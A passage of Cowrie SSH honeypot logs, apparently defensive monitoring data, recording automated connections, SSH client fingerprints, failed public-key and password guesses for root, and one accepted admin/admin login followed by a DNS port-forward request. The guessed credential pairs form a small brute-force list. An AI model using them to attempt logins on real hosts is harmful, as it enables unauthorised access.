ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:34:33.308547Z","src_ip":"45.142.3.73","session":"00285b3a3246","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"01:21:fb:a7:51:62:86:52:fe:a2:f9:88:fc:6d:4e:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCvDUWFXYsAafb+biUNrmo3fsHjrhw0/kpjMRaADGkB8t6nLqlSMbrIc1aKk6E9CWH+yGBQK0COhVkb+1PbKCoSViWcEP8ohDIhbJ+bJcSQ1iO1EySgR3HYyASVXFejd0bOjvesiy5jy6c5fpvzhFM+CJ+GalZ8U18aWyzHZLCw3OwxXEUXlrmGokm4kPd+422KUPQBJupRjlXnQQaHB2xFKjGaJRs7IB/p28VpnD7cTjGVLEy71ZDSpEHuPuZP+cnjdwWQN3MP3zQGFvWTj4Pp0Jm11gxSmqodIR/XtRe45s0rJtKRjEUeHBlM4KBmqX4TcANS6SXCPZSHeXW4pNK0TR2cx23MjXUxLRiYbcGU+LQ0t9ZjGiRSLg048aliEkK9IpBIZJ7Ms6y1UhEIqI7VnisPZw7j0+yBxnI6Xj+4fNkMeN1TFoqJDhvW3WptzxY7PaS4i4fC9MdziaaraDB0GYCkuOz0htwBlEu0FIN1KQXdwDpwK95s9Ij5UYrLVNVyEhw1Wqp0x1MUiSQC55YGXxv1ArFNspV3gGoqdJO0/F9N21ZbaeoByuJXUVmJxzRqtFyeT3z75J91Rs3FVcQgfTWWp/BIjtMwKDZe2BYjSZs3hyIRXF0bmVr4KWcN0phLk1xayUakSqFSHRKLW48I2tSedroR5OcO2S2HrjfVOQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 01:21:fb:a7:51:62:86:52:fe:a2:f9:88:fc:6d:4e:e8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:34:33.729908Z","src_ip":"45.142.3.73","session":"00285b3a3246","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"01:21:fb:a7:51:62:86:52:fe:a2:f9:88:fc:6d:4e:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCvDUWFXYsAafb+biUNrmo3fsHjrhw0/kpjMRaADGkB8t6nLqlSMbrIc1aKk6E9CWH+yGBQK0COhVkb+1PbKCoSViWcEP8ohDIhbJ+bJcSQ1iO1EySgR3HYyASVXFejd0bOjvesiy5jy6c5fpvzhFM+CJ+GalZ8U18aWyzHZLCw3OwxXEUXlrmGokm4kPd+422KUPQBJupRjlXnQQaHB2xFKjGaJRs7IB/p28VpnD7cTjGVLEy71ZDSpEHuPuZP+cnjdwWQN3MP3zQGFvWTj4Pp0Jm11gxSmqodIR/XtRe45s0rJtKRjEUeHBlM4KBmqX4TcANS6SXCPZSHeXW4pNK0TR2cx23MjXUxLRiYbcGU+LQ0t9ZjGiRSLg048aliEkK9IpBIZJ7Ms6y1UhEIqI7VnisPZw7j0+yBxnI6Xj+4fNkMeN1TFoqJDhvW3WptzxY7PaS4i4fC9MdziaaraDB0GYCkuOz0htwBlEu0FIN1KQXdwDpwK95s9Ij5UYrLVNVyEhw1Wqp0x1MUiSQC55YGXxv1ArFNspV3gGoqdJO0/F9N21ZbaeoByuJXUVmJxzRqtFyeT3z75J91Rs3FVcQgfTWWp/BIjtMwKDZe2BYjSZs3hyIRXF0bmVr4KWcN0phLk1xayUakSqFSHRKLW48I2tSedroR5OcO2S2HrjfVOQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:34:33.732757Z","src_ip":"45.142.3.73","session":"00285b3a3246","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f3:d3:fb:da:72:d7:0c:de:85:df:1b:a1:ae:1b:13:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCUOR2D1XvGi/Vn9Y56a2nneIdPcNLJoBP7TKWGUGVWq9E+YNG2++0pPK+44qAMlvR+0gNM/OjwTbf8/MDKwq//Myn4MUIz9N0tFBRTTAKuMBbuPJFLDCJtSzxZXAd9a+mK7GQksplhJkho3LAZokjGb0Cb6tRGcUDrpTAOtKfiW1urtSVcp4dfUWHBGMEPJEk0BJZ2fZTDDZ8u5xqisbzBwOsAu+1o9fF0s5kasTt8eMn1wLwfFE68AbnAeyeMzabuqhxt6n/igDFUbPyLNU3JOTgO5xYSLBwnkrNL7EAgQ2bcsMLXWgH/xE7XXVd2Hw9GcPjzB+596jh21Bomox4T","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f3:d3:fb:da:72:d7:0c:de:85:df:1b:a1:ae:1b:13:af","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:34:33.817726Z","src_ip":"45.142.3.73","session":"00285b3a3246","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f3:d3:fb:da:72:d7:0c:de:85:df:1b:a1:ae:1b:13:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCUOR2D1XvGi/Vn9Y56a2nneIdPcNLJoBP7TKWGUGVWq9E+YNG2++0pPK+44qAMlvR+0gNM/OjwTbf8/MDKwq//Myn4MUIz9N0tFBRTTAKuMBbuPJFLDCJtSzxZXAd9a+mK7GQksplhJkho3LAZokjGb0Cb6tRGcUDrpTAOtKfiW1urtSVcp4dfUWHBGMEPJEk0BJZ2fZTDDZ8u5xqisbzBwOsAu+1o9fF0s5kasTt8eMn1wLwfFE68AbnAeyeMzabuqhxt6n/igDFUbPyLNU3JOTgO5xYSLBwnkrNL7EAgQ2bcsMLXWgH/xE7XXVd2Hw9GcPjzB+596jh21Bomox4T","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:34:33.821819Z","src_ip":"45.142.3.73","session":"00285b3a3246","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cd:da:92:9a:58:06:b6:37:79:09:85:1f:e1:7c:73:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5jBzjM8sn0iLW7DbzC/vxtYEdshzD7IM5bgF4TuXHwVYGQjYWnM8E7dFhAPiLBjtKX/YSJLevJc/4ICTRWiZ+S54zigBXHRulg2q8zFAEZNAqXSP/QOh7Sej9UJpOgeXGaNLIqaDtnK67/DcI8NeQszfZ5//ZcomqpBku+RJIFA+oqFiNu+nPH8vujDwVHLB3ItlrH1HOkoCUoZBaS4qnHRFXat+eEt/Seyh7Xdol+Ven8Qc4+uOXUyJ6Ge1Ss4CsU9Hjmy8c23Wwi3mvgDAP5v2+x74IPGPF5K0zLtyML+UyuJMMvlZGwn4cORBwKwwiSzkCcTJHOBGUSxyJcBPN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cd:da:92:9a:58:06:b6:37:79:09:85:1f:e1:7c:73:ae","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:34:33.909875Z","src_ip":"45.142.3.73","session":"00285b3a3246","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cd:da:92:9a:58:06:b6:37:79:09:85:1f:e1:7c:73:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5jBzjM8sn0iLW7DbzC/vxtYEdshzD7IM5bgF4TuXHwVYGQjYWnM8E7dFhAPiLBjtKX/YSJLevJc/4ICTRWiZ+S54zigBXHRulg2q8zFAEZNAqXSP/QOh7Sej9UJpOgeXGaNLIqaDtnK67/DcI8NeQszfZ5//ZcomqpBku+RJIFA+oqFiNu+nPH8vujDwVHLB3ItlrH1HOkoCUoZBaS4qnHRFXat+eEt/Seyh7Xdol+Ven8Qc4+uOXUyJ6Ge1Ss4CsU9Hjmy8c23Wwi3mvgDAP5v2+x74IPGPF5K0zLtyML+UyuJMMvlZGwn4cORBwKwwiSzkCcTJHOBGUSxyJcBPN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:34:33.913522Z","src_ip":"45.142.3.73","session":"00285b3a3246","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8d:dd:28:f5:d7:68:bc:8e:c6:d2:d1:4c:93:00:e3:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDykzeJZMsjLzQoZ6nQf+rXdv/wZxdQtKiNOLswVEmTK5yeEyZbgo1Dy/FVc3D5qGpouo+oNfshUTcGxpQfCue2JvkNZQfj1/zqfdCd/8iZaL0E/WK4tbSCyPYY9rRFA/VxfiuDmSZeMuYbyp8hF1f96GVAJInIBTaV/XlvCHBoejj4Ip38AvXLJ7KZoPmv3jHHSleHTKFDRKkvOmbl3x7N8J0IpNnqKClBCRRtMMJLbvXOZcgxGRyFqy8mC50gQ8+uqS75O2Sp/8mic0Dxr+xeJZsSxx5Ui/zBHavSsC89XAXmyqbl8ghWB1OOFA/9kubcLcAKmzt5PjzhHBPGngH3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8d:dd:28:f5:d7:68:bc:8e:c6:d2:d1:4c:93:00:e3:19","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:34:33.998656Z","src_ip":"45.142.3.73","session":"00285b3a3246","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8d:dd:28:f5:d7:68:bc:8e:c6:d2:d1:4c:93:00:e3:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDykzeJZMsjLzQoZ6nQf+rXdv/wZxdQtKiNOLswVEmTK5yeEyZbgo1Dy/FVc3D5qGpouo+oNfshUTcGxpQfCue2JvkNZQfj1/zqfdCd/8iZaL0E/WK4tbSCyPYY9rRFA/VxfiuDmSZeMuYbyp8hF1f96GVAJInIBTaV/XlvCHBoejj4Ip38AvXLJ7KZoPmv3jHHSleHTKFDRKkvOmbl3x7N8J0IpNnqKClBCRRtMMJLbvXOZcgxGRyFqy8mC50gQ8+uqS75O2Sp/8mic0Dxr+xeJZsSxx5Ui/zBHavSsC89XAXmyqbl8ghWB1OOFA/9kubcLcAKmzt5PjzhHBPGngH3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:34:34.003183Z","src_ip":"45.142.3.73","session":"00285b3a3246","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"76:90:fd:62:c4:70:a1:cb:3a:46:a5:64:14:6b:1e:1d","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPkLeZpd5xMIwcpuF9X+OGm2yug2clEbGzCG0wEaS1/hmu1qwu8WTPZ7DhCUlYLPCALi/PO9YexELj5qIJCmFRDhRVEkblRvMPNPHdDdmO43liIjPGmPg9dUvJX8mIDV5W6JQD/CfAMGjCJqUlYEceNNDS0kplaQCeyIlqRmX0YBAAAAFQDGQEH9kRLO+2rESfTa7LQqvePXKQAAAIEAxMAhCSd2f2ouyBy4mpaapSml6tXpM8jsez6xzdxGkCEUzWXyE0IaY+VM5/KEV15oeWFyDWRc0Q57XXeK/PBdW/accTSJYPzqijpGPvQByU22L/xIvnPw7J9w3y0yIYPeQQQUisdF+yFvwD2DYIKSxyOhtvoDW9/rOkyV8FPAkpUAAACAKmfHLzh/oCJrDgEgrpoxfFxO0MnRa7qLbIXjZBGn9Jtje5FTzCg8G7apR0DEAnxnjTVduBpKRhLpc3+pEgw5UGKG9s9qlthJMq5BKTn5KyWW/iCWERl6nZNbbLewQ/qo0SxbYGJvRdUUGHw+QGS9NM2D9uNL6Xrrajg6LJZL9Q8=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 76:90:fd:62:c4:70:a1:cb:3a:46:a5:64:14:6b:1e:1d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:34:34.089213Z","src_ip":"45.142.3.73","session":"00285b3a3246","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"76:90:fd:62:c4:70:a1:cb:3a:46:a5:64:14:6b:1e:1d","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPkLeZpd5xMIwcpuF9X+OGm2yug2clEbGzCG0wEaS1/hmu1qwu8WTPZ7DhCUlYLPCALi/PO9YexELj5qIJCmFRDhRVEkblRvMPNPHdDdmO43liIjPGmPg9dUvJX8mIDV5W6JQD/CfAMGjCJqUlYEceNNDS0kplaQCeyIlqRmX0YBAAAAFQDGQEH9kRLO+2rESfTa7LQqvePXKQAAAIEAxMAhCSd2f2ouyBy4mpaapSml6tXpM8jsez6xzdxGkCEUzWXyE0IaY+VM5/KEV15oeWFyDWRc0Q57XXeK/PBdW/accTSJYPzqijpGPvQByU22L/xIvnPw7J9w3y0yIYPeQQQUisdF+yFvwD2DYIKSxyOhtvoDW9/rOkyV8FPAkpUAAACAKmfHLzh/oCJrDgEgrpoxfFxO0MnRa7qLbIXjZBGn9Jtje5FTzCg8G7apR0DEAnxnjTVduBpKRhLpc3+pEgw5UGKG9s9qlthJMq5BKTn5KyWW/iCWERl6nZNbbLewQ/qo0SxbYGJvRdUUGHw+QGS9NM2D9uNL6Xrrajg6LJZL9Q8=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:34:34.092737Z","src_ip":"45.142.3.73","session":"00285b3a3246","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:34:34.178053Z","src_ip":"45.142.3.73","session":"00285b3a3246","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":36430,"dst_ip":"10.17.0.5","dst_port":22,"session":"0851bb43356f","protocol":"ssh","message":"New connection: 103.172.78.219:36430 (10.17.0.5:22) [session: 0851bb43356f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:34:49.541532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:34:49.545227Z","src_ip":"103.172.78.219","session":"0851bb43356f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:34:49.801411Z","src_ip":"103.172.78.219","session":"0851bb43356f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kirill2005","message":"login attempt [root/kirill2005] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:34:50.571611Z","src_ip":"103.172.78.219","session":"0851bb43356f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:34:51.835084Z","src_ip":"103.172.78.219","session":"0851bb43356f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":11378,"dst_ip":"10.17.0.5","dst_port":22,"session":"89b6b0487733","protocol":"ssh","message":"New connection: 87.251.64.176:11378 (10.17.0.5:22) [session: 89b6b0487733]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:35:03.430414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:35:03.437563Z","src_ip":"87.251.64.176","session":"89b6b0487733","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:35:03.533926Z","src_ip":"87.251.64.176","session":"89b6b0487733","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:35:03.826005Z","src_ip":"87.251.64.176","session":"89b6b0487733","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:35:03.925731Z","session":"89b6b0487733","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:35:04.028965Z","src_ip":"87.251.64.176","session":"89b6b0487733","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:35:04.270624Z","src_ip":"87.251.64.176","session":"89b6b0487733","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":54746,"dst_ip":"10.17.0.5","dst_port":22,"session":"22b995dfca40","protocol":"ssh","message":"New connection: 77.94.47.83:54746 (10.17.0.5:22) [session: 22b995dfca40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:35:09.637305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:35:09.643239Z","src_ip":"77.94.47.83","session":"22b995dfca40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:35:09.761128Z","src_ip":"77.94.47.83","session":"22b995dfca40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"13041987","message":"login attempt [root/13041987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:35:10.109828Z","src_ip":"77.94.47.83","session":"22b995dfca40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:35:11.228296Z","src_ip":"77.94.47.83","session":"22b995dfca40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":35642,"dst_ip":"159.203.135.109","dst_port":22,"session":"9259e910735e","protocol":"ssh","message":"New connection: 103.82.20.28:35642 (159.203.135.109:22) [session: 9259e910735e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:35:29.326466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:35:29.331391Z","src_ip":"103.82.20.28","session":"9259e910735e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","a